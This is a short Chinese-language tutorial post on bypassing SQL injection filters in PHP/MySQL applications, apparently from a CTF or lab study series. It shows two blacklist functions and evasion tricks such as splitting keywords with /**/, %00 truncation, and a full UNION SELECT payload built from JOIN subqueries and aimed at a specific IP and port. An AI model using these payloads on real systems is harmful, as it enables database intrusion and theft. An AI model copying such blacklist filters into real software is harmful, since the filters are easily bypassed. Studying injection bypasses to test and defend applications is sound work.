19、注入篇————MYSQL過濾特殊符號的字元型注入方法
阿新 • • 發佈:2019-02-19
一、過濾了特殊符號的字元型注入
例如下面的過濾程式碼:
function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; }
在這部分程式碼中過濾了“or”、“and”、“/”、“*”、“#”、“s”
繞過方法:
因為有過濾,所以order by \and 等命令都不能使用。
用o/**/rder來繞過or過濾
用a/**/nd 來繞過and過濾,或者使ID=0來強制報錯
把註釋改為;%00截斷
二、過濾了逗號的字元型注入
例如下面的過濾程式碼
function blacklist($id)
{
if(stripos($id,',')){ //stripos函式作用:查詢 "php" 在字串中第一次出現的位置
$id='1';
}else{
$id=$id;
}
return $id;
}
繞過方法
在注入語句中使用Join函式即可繞過
例如:
http://222.18.158.243:4604/?id=1' and 1=2 union select * from ( (select 1)a JOIN (select 2) b JOIN (select 3) c )%23